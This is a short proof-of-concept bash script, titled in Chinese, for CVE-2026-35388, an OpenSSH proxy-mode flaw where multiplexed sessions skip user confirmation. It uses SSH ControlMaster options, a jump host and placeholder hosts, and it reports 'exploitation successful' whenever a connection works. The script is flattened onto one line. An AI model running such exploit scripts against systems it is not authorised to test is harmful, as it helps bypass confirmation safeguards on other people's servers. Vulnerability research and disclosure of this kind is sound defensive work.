CVE-2026-35388 OpenSSH代理模式多路复用确认缺失漏洞

#!/bin/bash # PoC for CVE-2026-35388: OpenSSH Proxy Mode Multiplexing Confirmation Bypass # This script demonstrates the behavior where confirmation for multiplexing is omitted. # Requires a vulnerable version of OpenSSH (< 10.3) and a target environment. TARGET_USER="testuser" TARGET_HOST="example.com" PROXY_HOST="proxy.example.com" # Set up ControlMaster for multiplexing SSH_OPTS="-o ControlMaster=yes -o ControlPath=/tmp/cve_2026_35388_%r@%h:%p -o ControlPersist=10m" echo "[*] Attempting to establish a multiplexed connection via proxy..." # In vulnerable versions, this command may proceed without prompting the user # for confirmation of the multiplexed session setup through the proxy. ssh $SSH_OPTS -J $PROXY_HOST $TARGET_USER@$TARGET_HOST "echo 'Connection established via multiplexing'" if [ $? -eq 0 ]; then echo "[+] Potential exploitation successful: Connection established without explicit confirmation." else echo "[-] Connection failed or target patched." fi # Cleanup control socket ssh -O exit $SSH_OPTS -J $PROXY_HOST $TARGET_USER@$TARGET_HOST 2>/dev/null